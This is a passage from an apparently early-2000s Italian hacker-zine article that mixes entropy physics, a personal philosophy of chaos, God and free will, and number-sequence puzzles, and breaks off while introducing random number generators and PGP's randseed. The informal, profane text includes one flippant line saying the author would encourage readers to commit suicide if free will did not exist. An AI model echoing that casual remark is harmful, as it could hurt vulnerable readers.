|           e in ci\'f2 sta l'enunciato alternativo di Clausius del secondo        |\
| principio                                                                     |\
|           della termodinamica, che, tenendo conto che i processi spontanei    |\
| che                                                                           |\
|           avvengono in natura nell'universo sono sempre irreversibili,        |\
| afferma:                                                                      |\
|           \'abL'entropia dell'universo \'e8 in continuo aumento\'bb. [...]             |\
|           Nei processi irreversibili, per i quali ^S(univ.) > 0, risulta:     |\
|                                                                               |\
|                                      ^S(a) > -^S(s)                           |\
|                                                                               |\
|           ovvero la variazione di entropia dell'ambiente esterno risulta      |\
|           maggiore di quella che si registra in un processo reversibile.      |\
| Questo                                                                        |\
|           significa che nell'ambiente esterno resta una traccia dovuta        |\
|           all'irreversibilit\'e0 della trasformazione, traccia che solitamente   |\
| si                                                                            |\
|           manifesta con una dissipazione di calore dovuta agli attriti,       |\
| causa                                                                         |\
|           principale di irreversibilit\'e0. Le precedenti considerazioni         |\
| consentono                                                                    |\
|           l'individuazione di una grandezza fisica, per appunto l'entropia,   |\
| la                                                                            |\
|           cui variazione \'e8 strettamente legata al carattere reversibile o     |\
| meno di                                                                       |\
|           una trasformazione, ovvero consente di individuare nell'entropia    |\
| un                                                                            |\
|           indice dell'energia degradata (ovvero non pi\'f9 utilizzabile per      |\
| compiere                                                                      |\
|           lavoro) in un processo termodinamico. Un aumento dell'entropia di   |\
| un                                                                            |\
|           sistema \'e8 indice della diminuita capacit\'e0 dello stesso a compiere   |\
|           lavoro.                                                             |\
|           Un'altra interpretazione dell'entropia \'e8 come indice del disordine  |\
|           microscopico di un sistema; un aumento di entropia \'e8 indice del     |\
|           passaggio del sistema verso stati di maggiore disordine [...].      |\
|           Definendo la probabilit\'e0 termodinamica W come il numero di stati    |\
|           dinamici (microscopici) corrispondenti a un dato stato              |\
| termodinamico                                                                 |\
|           (macroscopico), risulta la seguente equazione di Boltzmann:         |\
|                                                                               |\
|                                      S(W) = k ln(W)                           |\
|                                                                               |\
|            dove k \'e8 la costante di Boltzmann. Tale equazione precisa la       |\
|            direzione in cui avvengono i processi spontanei che si verificano  |\
| in                                                                            |\
|            un sistema isolato, processi che fanno evolvere il sistema verso   |\
|            stati pi\'f9 probabili [...].                                         |\
|                                                                               |\
|                                                                               |\
| Allora... calma, niente panico, una cosa per volta...                         |\
|                                                                               |\
| <lettore> MA CALMA STO' KAZZO! Te ti sei fuso il cervello da piccolo in un    |\
|           tokamak! Adesso spiega, se hai il coraggio: 1) che cazzo c'entra    |\
| st\'e0                                                                           |\
|           roba con la crittografia, 2) con che perverso Hex Editor dovrei     |\
|           decifrare quei simboli che non so che significano e neanche voglio  |\
|           saperlo, ma soprattutto... ma SOPRATTUTTO... 3) CHE CAZZO C'ENTRA   |\
| CON                                                                           |\
|           LA FILOSOFIA SECONDO TEEE?!                                         |\
|                                                                               |\
|                                                                               |\
| =================================================                             |\
| *** RIFLESSIONE: LA STORIA DI QUESTO ARTICOLO ***                             |\
| =================================================                             |\
|                                                                               |\
| <lettore> ahhh... Perfetto! Di bene in meglio! S\'ecs\'ec, perfetto davvero!!!      |\
|                                                                               |\
| Abbiate pazienza, sto trascorrendo uno dei miei frequenti periodi di crisi    |\
| esistenziale...                                                               |\
| Volevo solo dire una cosa: prima di cominciare a scrivere l'articolo mi sono  |\
| fatto una "scaletta" da seguire in modo da non dimenticarmi alcune cose       |\
| importanti. A un certo punto mi trovai a dover decidere anche la struttura    |\
| di                                                                            |\
| questo capitolo. Premetto che ero in stato confusionale da fancazzismo        |\
| (lunga                                                                        |\
| storia...), situazione che anche se capita raramente detesto con tutte le     |\
| mie                                                                           |\
| forze, perch\'e8 mi sembra quasi di sentire il tic-tac delle lancette ogni       |\
| qualvolta non trovo niente di costruttivo (o DISTRUTTIVO...) da fare, ma      |\
| OVVIAMENTE anche questa \'e8 un'altra storia...                                  |\
| Fatto sta che ho cominciato a fissare alcuni punti da seguire nella stesura,  |\
| e                                                                             |\
| ho continuato, ho continuato... Mi sono fermato quando mi sono                |\
| improvvisamente                                                               |\
| accorto che avevo gi\'e0 quasi sovrappensiero riempito DUE PAGINE di roba che    |\
| spaziava dall'ateismo - alla biologia - al "culto del cadavere" - a Matrix -  |\
| al senso della vita - fino alla fine dell'universo... Ed erano tutte          |\
| stronzate                                                                     |\
| che magari non c'entravano nulla ma che mi erano venute in mente l\'ec su due    |\
| piedi! Poi c'ho pensato meglio e ho visto che in fondo non erano stronzate,   |\
| anzi                                                                          |\
| avevano addirittura un filo logico. Il fatto \'e8 che mi sono reso conto che     |\
| l'argomento \'e8 troppo vasto e troppo complesso per essere trattato qui. E      |\
| comunque avremmo potuto continuare a parlare dell'argomento per anni senza    |\
| arrivare a nulla: capire a fondo il significato e l'essenza di cose come      |\
| Caos ed                                                                       |\
| Entropia significherebbe... capire il senso della vita! Se noi esseri umani   |\
| potessimo farlo, tutte quelle risposte che ci poniamo dalla notte dei tempi   |\
| avrebbero una risposta oppure perderebbero ogni importanza, comunque sia non  |\
| ci                                                                            |\
| sarebbero pi\'f9 domande a cui varrebbe la pena rispondere e come gi\'e0 detto al   |\
| cap 2                                                                         |\
| questa NON E' una visione dell'esistenza che condivido o che reputo anche     |\
| solo                                                                          |\
| possibile (come la stragrande maggioranza di voi, credo). L'unica cosa che    |\
| potremmo fare per tentare di avvicinarsi un po' di pi\'f9 a questi concetti \'e8    |\
| il                                                                            |\
| dialogo: dovremmo TUTTI cominciare a scambiarci idee ed opinioni, in quanto   |\
| in                                                                            |\
| questo campo un ritardato mentale pu\'f2 apportare lo stesso contributo di un    |\
| laureato. Verrebbe fuori un dibattito che non avrebbe mai termine: noi        |\
| moriremmo                                                                     |\
| e i nostri figli continuerebbero il dibattito al posto nostro, i millenni     |\
| passerebbero, il genere umano si evolverebbe sempre di pi\'f9 avvicinandosi      |\
| sempre di                                                                     |\
| pi\'f9 alla Verit\'e0... senza mai afferrarla.                                      |\
| Di questo tipo di ricerca del sapere si occupa la Filosofia, sin dall'inizio  |\
| i                                                                             |\
| filosofi fanno proprio questo: dialogano. Normalmente una persona             |\
| interessata alla                                                              |\
| ricerca del senso della vita o di altre cosette metafisiche reagisce a        |\
| questo                                                                        |\
| desiderio in tre modi possibili:                                              |\
|                                                                               |\
| 1) Meditazione e distacco dalla realt\'e0. Il mondo \'e8 un'inganno dei sensi, lo   |\
|    studiare il mondo non avrebbe senso. E noi siamo figli del mondo,          |\
| imperfetti e                                                                  |\
|    disturbati dalle cose materiali, non possiamo contare neanche su noi       |\
| stessi per                                                                    |\
|    arrivare alla verit\'e0. L'unica via \'e8 la fuga: distacchiamoci dal mondo,     |\
|    distacchiamoci perfino dai nostri pensieri... Il Nulla non \'e8 Nulla, bens\'ec  |\
| Luce:                                                                         |\
|    nel niente totale ritroveremo l'Illuminazione e l'Armonia col Dio          |\
| Universo.                                                                     |\
|    Discipline che si appoggiano a questo metodo sono numerose religioni       |\
| orientali                                                                     |\
|    quali Zen e Taoismo.                                                       |\
|                                                                               |\
| 2) Ricerca scientifica. Per quanto possa apparire evidente che l'Universo     |\
| potrebbe                                                                      |\
|    essere una ingegnosa gabbia per le nostre menti (vedi Matrix), la dura     |\
| realt\'e0 \'e8                                                                      |\
|    che questo \'e8 l'unico appiglio che abbiamo per conoscere la logica con cui  |\
| noi                                                                           |\
|    stessi tentiamo di conoscerci. Sappiamo gi\'e0 che potremo sbagliare e        |\
| sbaglieremo:                                                                  |\
|    bene, vorr\'e0 dire che impareremo dai nostri errori. Sappiamo gi\'e0 che \'e8 una  |\
|    battaglia persa in partenza poich\'e8 non sarebbe logico tentare con la       |\
| logica di                                                                     |\
|    conoscere TUTTE le regole del gioco. Non importa, ormai non possiamo       |\
| fermarci: \'e8                                                                   |\
|    una droga per noi, oppure una benedizione, fatto sta che \'e8 l'unica         |\
| ragione che                                                                   |\
|    abbiamo di vivere. Persino da un punto di vista strettamente religioso     |\
| non                                                                           |\
|    avrebbe senso continuare a vivere e a soffrire in un mondo imperfetto una  |\
| volta                                                                         |\
|    che noi stessi diventassimo perfetti. Questa \'e8 una visione razionalistica  |\
| del                                                                           |\
|    mondo, se voi tendeste di pi\'f9 all'empirismo potreste anche argomentare     |\
| che il                                                                        |\
|    fatto che la scienza \'e8 la giusta via ce l'abbiamo quotidianamente davanti  |\
| agli                                                                          |\
|    occhi osservando come le conoscenze ci abbiano culturalmente arricchito e  |\
| reso                                                                          |\
|    pi\'f9 potenti. La base della scienza \'e8, come abbiamo gi\'e0 detto, la           |\
| matematica, che                                                               |\
|    \'e8 la Scienza Prima dello studio del Mondo.                                 |\
|                                                                               |\
| 3) Ricerca filosofica e umanistica. Se la matematica \'e8 la Scienza Prima       |\
| dello                                                                         |\
|    studio del Mondo, la Filosofia \'e8 la Scienza Prima dello studio di Noi      |\
| Stessi.                                                                       |\
|    Come possiamo noi avere la presunzione di trovare la Giusta Via se non     |\
| riusciamo                                                                     |\
|    neanche a capire come "funzioniamo"? Prima di trovare un metodo che ci     |\
| consenta                                                                      |\
|    di rispondere alle molte domande che attanagliano la nostra esistenza,     |\
| dobbiamo                                                                      |\
|    innanzitutto capire CHI SIAMO. E per capire chi o cosa siamo non possiamo  |\
|    sfuggire da noi stessi, n\'e8 basarci sui sensi, troppo legati ad una realt\'e0  |\
| troppo                                                                        |\
|    facilmente fuorviante, ma possiamo contare solo su di noi. Questo \'e8 il     |\
| principio                                                                     |\
|    del Cogito Ergo Sum, col quale Cartesio fece nascere la filosofia moderna  |\
| che                                                                           |\
|    spost\'f2 il suo campo di studio dall'oggetto al soggetto. E questa \'e8 una     |\
| cosa dura                                                                     |\
|    da accettare, perch\'e8 ci sbatte in faccia la cruda verit\'e0: NOI SIAMO SOLI.  |\
|    Dobbiamo avere la forza di studiare noi stessi e di essere autonomi, di    |\
| affrontare                                                                    |\
|    le nostre paure e di non sentirci isolati in mezzo al buio. Tutto il       |\
| resto pu\'f2                                                                     |\
|    tradirci ed essere manipolato ma noi, oh, noi no! Noi non vorremmo mai il  |\
| male di                                                                       |\
|    noi stessi, ci\'f2 che noi pensiamo non \'e8 un'illusione proprio perch\'e8 lo      |\
| pensiamo:                                                                     |\
|    noi Siamo perch\'e8 Pensiamo. Ma se abbiamo ancora un barlume di fiducia nel  |\
| prossimo                                                                      |\
|    (cosa che non tutti hanno), possiamo almeno concederci di dialogare e di   |\
| studiare                                                                      |\
|    la storia: chiss\'e0 che nelle parole di un ubriaco non possiamo trovare un   |\
| altro                                                                         |\
|    indizio verso la meta o che scoprissimo che in passato altri hanno fatto   |\
| gli                                                                           |\
|    stessi errori che noi stiamo per commettere ora fermandoci cos\'ec in tempo?  |\
| S\'ec, ma                                                                        |\
|    se fosse una trappola? Se tutto tentasse invece di DEPISTARCI? Beh,        |\
| allora l'unica                                                                |\
|    accortezza che dovremmo avere sarebbe quella di non farci influenzare, ma  |\
| vedete,                                                                       |\
|    anche questo significa aver fiducia di s\'e8 stessi! E comunque ne varrebbe   |\
| lo stesso                                                                     |\
|    la pena per fare esattamente il contrario di quello che dovremmo essere    |\
| spinti a                                                                      |\
|    fare, no? Filosofia e discipline umanistiche studiano l'uomo secondo       |\
| questi                                                                        |\
|    princ\'ecpi.                                                                  |\
|                                                                               |\
| Come gi\'e0 ci ha detto la ********, la scienza convenzionale si trova in        |\
| qualche modo                                                                  |\
| in difficolt\'e0 nel maneggiare le definizioni di ordine, caos ed entropia,      |\
| infatti                                                                       |\
| l'approccio che io avevo tentato all'inizio era sbagliato: seguire una        |\
| sequenza                                                                      |\
| connessa ed ordinata non ci porterebbe da nessuna parte. E allora, tantopi\'f9   |\
| che                                                                           |\
| parliamo di Caos :) stavolta ho deciso di improvvisare: in questo capitolo    |\
| (che                                                                          |\
| accorcier\'f2 abominevolmente visto anche il tempo che mi rimane...) NON         |\
| SEGUIRO'                                                                      |\
| nessun "sommario", se il tutto dovesse rivelarsi confuso sappiate che ci\'f2 E'  |\
| NELLE                                                                         |\
| MIE INTENZIONI, e che se ad un certo punto vi sentiste disorientati, ebbene   |\
| sar\'f2                                                                          |\
| riuscito nel mio intento ;) , questo argomento \'e8 pi\'f9 facile da, non dico      |\
| capirlo, ma                                                                   |\
| intuirlo per flashback che studiarselo per definizioni.                       |\
|                                                                               |\
| <premessa>                                                                    |\
| Io NON SONO uno di quei trippati che hanno tatuati sul corpo vari simboli di  |\
| Caos o                                                                        |\
| frattali e che si riempono la bocca di parole che neanche conoscono. E NON    |\
| VADO in                                                                       |\
| giro per i giardini pubblici a predicare l'Armageddon alle coppiette e ai     |\
| bambini.                                                                      |\
| Tengo inoltre a precisare che la mia risata \'e8 ASSOLUTAMENTE normale e non     |\
| suona come                                                                    |\
| un satanico "MUAAHAHAHAAAHHH". Per finire, TOGLIETEVI SUBITO DALLA TESTA CHE  |\
| CAOS ED                                                                       |\
| ENTROPIA SIANO SINONIMI!                                                      |\
| </premessa>                                                                   |\
|                                                                               |\
|                                                                               |\
| [Chiavi di interpretazione]                                                   |\
| Da ora in avanti nelle mie affermazioni partir\'f2 da quattro presupposti:       |\
|                                                                               |\
| 1) Che la Logica sia, come strumento, totalmente affidabile. Alcune persone   |\
| la                                                                            |\
|    pensano diversamente, ma io credo che mettere in dubbio che 2 + 2 fa 4     |\
| non sia                                                                       |\
|    conveniente: se partiamo dal presupposto che la logica possa essere        |\
| manipolata e                                                                  |\
|    sviata vuol dire che saremmo assolutamente inermi nel formulare qualsiasi  |\
|    ragionamento, PERSINO che la logica possa essere manipolata e sviata! E    |\
| se anche                                                                      |\
|    fosse, non avremmo comunque strumenti per giungere da nessuna parte,       |\
| quindi una                                                                    |\
|    direzione varrebbe l'altra! Se invece la logica funzionasse, SOLAMENTE la  |\
| via del                                                                       |\
|    ragionamento logico condurrebbe da qualche parte. Nel dubbio, sceglieremo  |\
| proprio                                                                       |\
|    questa strada; non \'e8 fiducia, soltanto un rischio calcolato. Questa        |\
| visione del                                                                   |\
|    mondo \'e8 detta PANLOGISMO ("tutto \'e8 logica").                               |\
|                                                                               |\
| 2) Che una visione razionalistica dell'universo sia pi\'f9 obiettiva e           |\
| conveniente di                                                                |\
|    una empiristica. Questo solo perch\'e8 in questo campo non disponiamo di      |\
| basi di                                                                       |\
|    riferimento materiali e univoche su cui fondare delle osservazioni         |\
| sperimentali.                                                                 |\
|                                                                               |\
| 3) Che questo mondo sia cos\'ec incomprensibile a noi perch\'e8 non ci appartiene,  |\
| in                                                                            |\
|    quanto risultato della Creazione da parte di una qualche forma di Volont\'e0  |\
|    Superiore. In parole povere: che esista un Dio. Non per forza una qualche  |\
|    divinit\'e0 specifica a cui ci insegnano a credere fin da piccoli per         |\
| intimorirci con                                                               |\
|    la minaccia dell'Inferno (non sono cattolico), bens\'ec un Puro Essere, una   |\
| forma                                                                         |\
|    senziente cos\'ec elevata da risultarci incomprensibile ed infigurabile,      |\
| quindi del                                                                    |\
|    tutto invisibile. Disquisizioni morali ed ideologiche a parte, la cosa \'e8   |\
|    estremamente conveniente: dal punto di vista razionale, un ateo si trova   |\
| sempre in                                                                     |\
|    enorme difficolt\'e0 nel rispondere alle domande di senso rispetto ad un      |\
| credente; ci                                                                  |\
|    sono cose a cui \'e8 "ipotizzabile" (occhio, non "conoscibile"...) una        |\
| risposta                                                                      |\
|    soltanto se ammettiamo questo punto.                                       |\
|                                                                               |\
| 4) Che ogni forma di vita sulla Terra, dalle alghe ai vertebrati, presenti    |\
| delle                                                                         |\
|    "peculiarit\'e0" che possono derivare esclusivamente da un'abilit\'e0 senziente  |\
| innata                                                                        |\
|    ed indipendente dal mondo materiale. Che esista cio\'e8 un'ANIMA, la quale \'e8  |\
| comune                                                                        |\
|    ad ogni vivente. Badate che ammettere ci\'f2 significa porre un uomo ed un    |\
| batterio                                                                      |\
|    sullo stesso piano dal punto di vista morale, ma d'altro canto sarebbe     |\
| secondo me                                                                    |\
|    illogico e presuntuoso pensare che l'uomo sia un animale cos\'ec              |\
| profondamente                                                                 |\
|    diverso dagli altri. Questo punto trova, o almeno ha trovato finora,       |\
| anche una                                                                     |\
|    prova sperimentale che dopo andremo a considerare.                         |\
|                                                                               |\
| Se non prendessimo per buoni i precedenti punti, tutte le considerazioni che  |\
| faremo                                                                        |\
| da qui in poi vi accorgerete che non reggerebbero. Tengo a ricordare ancora   |\
| una volta                                                                     |\
| che io non ho intenzione di convincere nessuno e che NON FACCIO proselitismo  |\
| religioso.                                                                    |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| =======================                                                       |\
| *** COS'E' IL CAOS? ***                                                       |\
| =======================                                                       |\
|                                                                               |\
| Rispondere che il Caos \'e8 "assenza di Ordine" non risolverebbe il problema.    |\
| Facciamo                                                                      |\
| prima a fare degli esempi. Guardate bene queste due sequenze di numeri:       |\
|                                                                               |\
| A) 1  2  3  4  5  6  7  8  9  0                                               |\
|                                                                               |\
| B) 5  2  3  6  9  8  7  4  1  0                                               |\
|                                                                               |\
| Quale delle due \'e8 la pi\'f9 ordinata? Saremmo tentati di rispondere "la prima",  |\
| perch\'e8                                                                        |\
| ha una trama che riusciamo ad assimilare meglio: "aggiungi sempre 1". Se      |\
| proviamo a                                                                    |\
| ragionarci su, ci accorgiamo poi che (siccome lo zero \'e8 in coda e non         |\
| all'inizio),                                                                  |\
| la relazione non \'e8 proprio di questo tipo, e dobbiamo masturbarci             |\
| mentalmente con le                                                            |\
| operazioni modulari: la relazione \'e8 ("aggiungi sempre 1 a partire da 1") Mod  |\
| 10.                                                                           |\
| Questo gi\'e0 complica un po' le cose e la rende leggermente pi\'f9 "caotica" ai    |\
| nostri                                                                        |\
| occhi, ricordate sempre che per avere un buon ordinamento \'e8 sempre meglio     |\
| partire da                                                                    |\
| 0 che da 1. Ma fate attenzione: cosa ho detto?                                |\
|                                                                               |\
| <Zer0> ...la rende leggermente pi\'f9 "caotica" ai nostri occhi...               |\
|                                                                               |\
| S\'ec, credo sia giusto. Ma PERCHE' la rende pi\'f9 caotica? Come facciamo a        |\
| dirlo?                                                                        |\
| Semplice: PERCHE' NE ABBIAMO AUMENTATO LA COMPLESSITA'. Per\'f2 siccome          |\
| riusciamo ancora,                                                             |\
| seppur con una difficolt\'e0 leggermente maggiore, ad individuare la logica      |\
| della                                                                         |\
| sequenza, diremo ancora che la prima \'e8 ordinata \'e8 la seconda no. Ma ne siamo  |\
| proprio                                                                       |\
| sicuri? Non so quanti di voi hanno visto a colpo d'occhio la relazione che    |\
| c'\'e8 nella                                                                     |\
| seconda. Provate a comporre quella sequenza sul Numeric Block della vostra    |\
| tastiera:                                                                     |\
|                                                                               |\
|  7  8  9         7__8__9                                                      |\
|                  |     |                                                      |\
|  4  5  6   -->   4  5  6                                                      |\
|                  |  |  |                                                      |\
|  1  2  3         1  2__3                                                      |\
|                  |                                                            |\
|  0               0                                                            |\
|                                                                               |\
| La sequenza \'e8 una spirale. Un altro esempio:                                  |\
|                                                                               |\
| A) 1  2  2  3  3  4  4  5  5  6  6  7  7  8  8  9  9  10  10                  |\
|                                                                               |\
| B) 3  1  12  25  2187  10  52  37  1162261467  22  116  51                    |\
|                                                                               |\
| Sicuramente la prima \'e8 la pi\'f9 ordinata: i numeri interi, ripetuti due volte,  |\
| a                                                                             |\
| partire da 1 incrementando. Eh no, mica \'e8 cos\'ec facile! Come mai l'1 non \'e8     |\
| ripetuto?                                                                     |\
| Questa piccolezza fa aumentare di parecchio il "caos" della sequenza, perch\'e8  |\
| diventa:                                                                      |\
| "i numeri interi, ripetuti due volte (a eccezione dell'1 che \'e8 ripetuto una   |\
| sola                                                                          |\
| volta), a partire da 1 incrementando". Se non troviamo un metodo pi\'f9          |\
| semplice per                                                                  |\
| definirla, la prima sequenza non \'e8 poi cos\'ec ordinata, ma sempre meglio della  |\
| seconda,                                                                      |\
| che \'e8 totalmente caotica. Sicuri sicuri? Invece anche la seconda ha una       |\
| relazione,                                                                    |\
| anche se \'e8 abbastanza complicata: alla sequenza dei primi numeri primi...     |\
|                                                                               |\
| 1 2 3 5 7 11 13 17 19 23 29 31 ...                                            |\
|                                                                               |\
| indicandoli con "x" si applicano, ciclicamente, i seguenti passaggi:          |\
|                                                                               |\
| 1)  3^x                                                                       |\
| 2)  x - 1                                                                     |\
| 3)  x * 4                                                                     |\
| 4)  x + 20                                                                    |\
|                                                                               |\
| e da ci\'f2 viene fuori la nostra sequenza. Queste considerazioni ci fanno       |\
| capire un                                                                     |\
| concetto fondamentale:                                                        |\
|                                                                               |\
| IL CAOS DERIVA DALL'INCAPACITA' DELL'UOMO DI COMPRENDERE RELAZIONI            |\
| COMPLESSE.                                                                    |\
|                                                                               |\
| Ovvero: noi chiamiamo "caos" ci\'f2 che non riusciamo a comprendere. Prima che   |\
| l'uomo                                                                        |\
| arrivasse a capire le complicate congiunzioni astrali che regolano i corpi    |\
| celesti                                                                       |\
| del sistema solare, le eclissi erano viste con timore (perch\'e8 incomprese) e   |\
| sembravano verificarsi ad intervalli del tutto irregolari. Poi l'uomo cap\'ec,   |\
| e                                                                             |\
| improvvisamente ci\'f2 che da sempre era considerato caos venne addirittura      |\
| trascritto                                                                    |\
| in formule matematiche.                                                       |\
|                                                                               |\
| Questo \'e8 cruciale, attenti al passaggio. Al giorno d'oggi ci si rende conto   |\
| che                                                                           |\
| trovare qualcosa di realmente caotico nell'universo \'e8 alquanto difficile:     |\
| coll'evolversi della tecnologia riusciamo a prevedere sempre pi\'f9 cose che     |\
| prima                                                                         |\
| reputavamo aldil\'e0 di ogni comprensione, dal tempo atmosferico al verificarsi  |\
| dei                                                                           |\
| terremoti, e sempre con maggior accuratezza. I giochi di strategia tengono    |\
| impegnato                                                                     |\
| il giocatore solo per poco tempo, poich\'e8 piano piano egli riesce a capire     |\
| l'algoritmo                                                                   |\
| che fa muovere l'intelligenza artificiale del gioco, e riesce a prevenirlo.   |\
|                                                                               |\
| Molte persone (specialmente i trippati di cui sopra...) vedono il Caos come   |\
| una                                                                           |\
| qualche forza misteriosa che pervade l'universo e che si manifesta appunto    |\
| nei                                                                           |\
| fenomeni a variabile complessa (l\'e8ggi: "caotici"), tipo il susseguirsi dei    |\
| numeri                                                                        |\
| primi sulla linea dei numeri, il moto disordinato delle particelle di un gas  |\
| in un                                                                         |\
| contenitore o anche le fluttuazioni registrate nei campi gravitazionali,      |\
| magnetici e                                                                   |\
| quant'altro. Ora, la domanda \'e8: ma di queste cose non dovrebbe "occuparsi"    |\
| un dio se                                                                     |\
| esiste? La verit\'e0 \'e8 esattamente questa: tali persone fanno del caos una       |\
| RELIGIONE. E                                                                  |\
| ci\'f2 principalmente, io credo, per distaccarsi dalla massa e avere qualcosa    |\
| di                                                                            |\
| impressionante e plateale da dire in pubblico per far colpo sulle ragazze.    |\
| La prova di                                                                   |\
| questo esibizionismo si ha quando due di questi individui si incontrano e     |\
| scoprono di                                                                   |\
| essere simili: come il lupo diventa aggressivo e ostile non appena un altro   |\
| maschio                                                                       |\
| entra nel suo territorio (insidiando il posto da capobranco nonch\'e8 l'harem),  |\
| cos\'ec                                                                          |\
| queste persone, sentendo che il centro dell'attenzione non \'e8 pi\'f9 focalizzato  |\
| esclusivamente su di loro, cambiano repentinamente umore e diventano seccate  |\
| e nervose.                                                                    |\
| Invece di rallegrarsi per aver trovato qualcuno che condivide le loro idee e  |\
| con cui                                                                       |\
| poter dialogare, essi attaccano il "rivale" per porlo in imbarazzo e fanno    |\
| di tutto per                                                                  |\
| scovare un QUALCOSA nella loro quasi identica visione dell'esistenza su cui   |\
| trovarsi in                                                                   |\
| disaccordo e mettersi a litigare. Ci\'f2 \'e8 molto deprimente, ma vi assicuro che  |\
| ho                                                                            |\
| assistito spesso a scene cos\'ec penose...                                       |\
|                                                                               |\
| Questo capitolo serve principalmente a sfatare la visione del dio-caos (non   |\
| \'e8 una                                                                         |\
| bestemmia, eh? Prego notare la "d" minuscola...), in quanto l'esperienza e    |\
| la storia                                                                     |\
| dell'uomo (nonch\'e8 il ragionamento) ci insegnano che ogni evento con cui       |\
| l'umanit\'e0 si \'e8                                                                |\
| trovata di fronte \'e8 stato "sconfitto", cio\'e8 compreso, smontato equazione per  |\
| equazione,                                                                    |\
| skiaffato su libri e cd e venduto al grande pubblico. Ci\'f2 che oggi (anno      |\
| 2001) ci                                                                      |\
| sembra insormontabile ed incomprensibile potrebbe essere superato anche       |\
| domani grazie                                                                 |\
| all'evoluzione che sforna in continuazione gente dal cervello pi\'f9 grosso      |\
| (anche se                                                                     |\
| spesso pi\'f9 rigonfio di segatura...) e macchine pi\'f9 veloci (e pi\'f9 buggate :P   |\
| ). Chiss\'e0                                                                     |\
| che con una potenza di calcolo mostruosa non si possa tracciare un grafico    |\
| dei numeri                                                                    |\
| primi e scoprire che formano una struttura frattale perfetta e regolare (e    |\
| chiss\'e0 che                                                                    |\
| l'NSA non l'abbia GIA' FATTO, trovando cos\'ec il sistema di fottere l'RSA...),  |\
| e che con                                                                     |\
| i super-computer del futuro non sia possibile prevedere il punto d'impatto    |\
| di ogni                                                                       |\
| singola goccia di pioggia durante un temporale! la considerazione a cui ci    |\
| portano                                                                       |\
| questi ragionamenti \'e8 la seguente:                                            |\
|                                                                               |\
| NON ESISTE UNA FORMA DI CAOS PURO                                             |\
|                                                                               |\
| cio\'e8 inteso come "forza incorporea", dipendente dal mondo materiale. Il caos  |\
| in questo                                                                     |\
| senso \'e8 una pia illusione, derivata dalla limitatezza delle nostre menti e    |\
| dei nostri                                                                    |\
| strumenti. Non troveremo mai il caos all'interno di modelli                   |\
| fisico-matematici poich\'e8                                                      |\
| la realt\'e0 \'e8 ORDINATA E PERFETTA, a patto di avere la capacit\'e0 di comprendere  |\
| la trama                                                                      |\
| spesso complicata che la regola.                                              |\
|                                                                               |\
| <lettore> Ma se a me servissero, non so, due etti e mezzo di Caos             |\
| grattugiato...                                                                |\
|           Dove dovrei andare?                                                 |\
|                                                                               |\
| Se credi al quarto punto di prima la risposta \'e8 semplice:                     |\
|                                                                               |\
| LA VITA E' LA FONTE DEL CAOS                                                  |\
|                                                                               |\
| d'altro canto, se non ci credi ci sono molte domande a cui non potresti mai,  |\
| nemmeno                                                                       |\
| in teoria, trovare una risposta, nonch\'e8 molti aspetti della vita terrena che  |\
| non                                                                           |\
| potresti spiegare. L'unica cosa che non siamo mai riusciti a prevedere in     |\
| maniera                                                                       |\
| precisa e inconfutabile sono le azioni degli esseri viventi: indovinare se    |\
| il prossimo                                                                   |\
| germoglio spunter\'e0 sul lato destro o sinistro di un ramo \'e8 difficile quanto   |\
| indovinare                                                                    |\
| la prossima mossa di un campione di scacchi, e NON SOLO perch\'e8 le variabili   |\
| in gioco                                                                      |\
| sono tantissime (fosse per quello basterebbe aspettare, come gi\'e0 detto, di    |\
| avere                                                                         |\
| tecnologia adeguata). Se un giorno riuscissimo a dire: "calcolata la          |\
| concentrazione di                                                             |\
| ormone X nel sangue di un individuo, la composizione del suo codice genetico  |\
| e della                                                                       |\
| colazione che ha mangiato stamattina, pi\'f9 i legami chimici tra i suoi         |\
| neuroni della                                                                 |\
| memoria etc. appare evidente che se incontrasse la donna Y all'ora Z di oggi  |\
| se ne                                                                         |\
| innamorerebbe perdutamente..." beh, se ci riuscissimo questa sarebbe la       |\
| prova                                                                         |\
| definitiva della non-esistenza dell'anima - e del caos - poich\'e8               |\
| significherebbe                                                               |\
| comprendere scientificamente i SENTIMENTI, a quel punto il caos resterebbe    |\
| una                                                                           |\
| semplice utopia. Invece la realizzazione dell'Intelligenza Artificiale NON    |\
| BASTEREBBE                                                                    |\
| da sola a invalidare la tesi dell'anima, poich\'e8 non \'e8 assurdo pensare che la  |\
| vita possa                                                                    |\
| annidarsi anche in corpi composti da materia diversa da cellule e carbonio    |\
| (dopotutto,                                                                   |\
| se l'anima esiste, non pu\'f2 essere legata a qualcosa di materiale, no?), la    |\
| invaliderebbe invece la REALIZZAZIONE ARTIFICIALE DELL'ANIMA, ma il problema  |\
| \'e8 che non                                                                     |\
| si pu\'f2 "creare" qualcosa di immateriale, quindi quest'evenienza resta         |\
| remota. D'altro                                                               |\
| canto se l'anima esiste la si potrebbe riconoscere da una caratteristica che  |\
| sarebbe                                                                       |\
| una sua "esclusiva": il Libero Arbitrio. Se noi non siamo responsabili delle  |\
| nostre                                                                        |\
| azioni, allora non esiste moralit\'e0, ideologia o scopo della vita che tenga,   |\
| anzi, vi                                                                      |\
| incoraggerei al suicidio per abbandonare in fretta questa valle di            |\
| lacrime... Ebbene, \'e8                                                          |\
| proprio quel libero arbitrio, che rappresenta qualcosa di imprevedibile ed    |\
| inviolabile,                                                                  |\
| a generare intorno ad ogni essere vivente un "campo di caos",                 |\
| un'interferenza che                                                           |\
| disturba e modifica l'ordinato ambiente circostante.                          |\
|                                                                               |\
|                                                                               |\
| [Gli RNG]                                                                     |\
|                                                                               |\
| (non preoccupatevi se da qui in poi potreste non capire alcuni termini,       |\
| saranno spiegati                                                              |\
| + in l\'e0. Mi dispiace ma ho rimasto davvero POCO tempo...)                     |\
|                                                                               |\
| RNG = Random Number Generator, cio\'e8 generatori di numeri casuali. Gi\'e0, ve lo  |\
| siete mai                                                                     |\
| chiesti come fanno i software di crittografia a generare dati casuali per     |\
| creare chiavi                                                                 |\
| segrete se \'e8 vero che il caos puro non esiste?                                |\
|                                                                               |\
| <lettore> gi\'e0, dici bene: SE il caos puro non esiste...                       |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| Non vi trovo molto convinti su questo punto, vero? Fanniente, andiamo         |\
| avanti...                                                                     |\
| Ma ve lo dico io come fanno: il PGP ad esempio quando ha bisogno di una       |\
| sequenza                                                                      |\
| casuale di bit (i cosiddetti "randseed") per generare le chiavi, chiede       |\
| all'utente di                                                                 |\
| digitare a caso dei tasti o di smuovere il mouse. Le informazioni random si   |\
| ottengono                                                                     |\
